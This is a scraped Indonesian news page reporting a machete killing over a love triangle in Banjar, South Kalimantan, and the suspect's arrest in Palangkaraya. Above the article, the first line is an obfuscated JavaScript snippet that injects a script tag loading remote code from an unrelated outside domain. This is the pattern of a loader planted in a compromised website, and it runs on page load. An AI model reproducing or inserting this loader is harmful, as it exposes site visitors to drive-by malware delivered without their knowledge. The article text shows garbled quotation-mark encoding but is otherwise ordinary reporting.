(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Peristiwa pembunuhan berlatar cinta segitiga yang terjadi di Kecamatan Sungai Tabuk, Kabupaten Banjar, pada Selasa (22/10) kemarin menggegerkan masyarakat. Pelaku yang sempat melarikan diri, akhirnya berhasil diringkus tim gabungan Resmob Polres Banjar dan unit Reskrim Polsek Sungai Tabuk
Pelaku diketahui bernama Muhammad Yusuf (30), diringkus di kota Palangkaraya, Kalimantan Tengah, tepatnya di jalan RT A Milono Km 3,5, Kamis (24/10) sekitar pukul 03.30 Wita.
Pelaku buron hampir 3 hari ini, ditemukan di wilayah hukum Polsek Pahandut Palangkaraya, Kalimantan Tengah. Dalam penangkapan, pihak kepolisian terpaksa menembakan timah panas untuk menghentikan aksi kabur pelaku.
“Karena pelaku melawan dan mencoba kabur, kami terpaksa menembak kaki kanan pelaku. Pelaku sudah mendapati perawatan dari pihak medis dan saat ini sudah berada di Mapolres Banjar untuk menjalani proses hukum yang berlaku,†kata Kapolres Banjar AKBP Takdir Mattanette didampingi Kasat Reskrim Iptu Rizky Fernandez.
Dijelaskan juga, pelaku saat ditangkap sedang berada di rumah temannya. Usai ditangkap, Yusuf sendiri mengakui semua perbuatannya tersebut.
Dari pengakuan pelaku, Kasat Reskrim menjelaskan, tindakan nekat dengan membunuh Suryadi (45) dikarenakan korban mencoba merusak rumah tangganya.
“Pelaku kita sangkakan UU 351 Ayat 3 Jo Pasal 338 KUHP tentang Pembunuhan ancaman maksimal 18 tahun penjara,†ujar Iptu Rizky.
Awal Mula Perseteruan Suami dan Mantan Suami
Sebelumnya, kasus perkelahian atau duel maut ini melibatkan suami (tersangka) dan mantan suami (korban) dari Wati, warga Desa Gudang Hirang, Kecamatan Sungai Tabuk, Kabupaten Banjar. Duel maut ini mengakibatkan Suryadi yang berstatus mantan suami, bersimbah darah dan meninggal dunia akibat luka sabetan parang dari Muhammad Yusuf.
Awalnya, Suryadi saat itu mendatangi rumah mantan istrinya, di kawasan Jalan Martapura Lama, Komplek Antasari Perdana RT 16, Kecamatan Sungai Tabuk, Kabupaten Banjar. Suryadi datang sudah dalam kondisi emosi dan mengamuk di halaman depan rumah mantan istrinya tersebut.
Di saat bersaman, Yusuf yang tidak terima dengan perlakuan Suryadi menunggu di dalam rumah dengan sebilah parang. Alhasil, Suryadi yang mendobrak pintu, langsung mendapatkan serangan dari ayunan parang Yusuf.
Suryadi menderita luka sayatan di kaki dan tangan kirinya, lalu mencoba kabur. Namun karena kondisi luka parah tersebut, nyawa Suryadi tidak tertolong dan langsung dievakuasi ke RSUD Ulin. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.